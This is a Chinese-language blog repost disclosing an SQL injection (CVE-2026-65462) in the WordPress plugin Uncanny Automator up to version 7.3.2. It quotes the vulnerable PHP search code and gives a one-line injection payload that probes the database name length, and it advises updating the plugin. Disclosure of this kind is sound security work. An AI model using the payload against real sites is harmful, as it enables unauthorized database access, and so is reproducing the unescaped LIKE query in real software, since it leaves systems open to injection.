文章总结： WordPress插件UncannyAutomator<=7.3.2存在SQL注入漏洞(CVE-2026-65462),源于sanitizetextfield()未转义SQL通配符导致LIKE注入,PoC可探测数据库长度,建议用户立即更新插件至最新版本以修复漏洞。 综合评分： 80 文章分类： 漏洞分析,漏洞POC,渗透测试,WEB安全

wordpress插件Uncanny Automator CVE-2026-65462 PoC

原创

微慑网 微慑网

微慑网

2026年7月28日 13:55 广东

在小说阅读器读本章

去阅读

Uncanny Automator <=7.3.2

该漏洞源于src/global-functions.php约352-358行，sanitize_text_field() 只移除 HTML 标签和转义 HTML 实体，不会转义 SQL 通配符 (%, _)，导致 LIKE 注入

src/core/admin/admin-logs/wp-list-table/class-logs-list-table.php

if ( automator_filter_has_var( 'search_key' ) && '' !== automator_filter_input( 'search_key' ) ) {    $search_key = sanitize_text_field( automator_filter_input( 'search_key' ) );    if ( $view_exists ) {        $search_conditions .= " AND ( (recipe_title LIKE '%$search_key%') OR ... ) ";    } else {        $search_conditions .= " AND ( (p.post_title LIKE '%$search_key%') OR ... ) ";    }}

程序位置 ：

PoC：

') and (length(database())=**) and(1 like '1

脚本：

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：微慑网 微慑网 微慑网《wordpress插件Uncanny Automator CVE-2026-65462 PoC》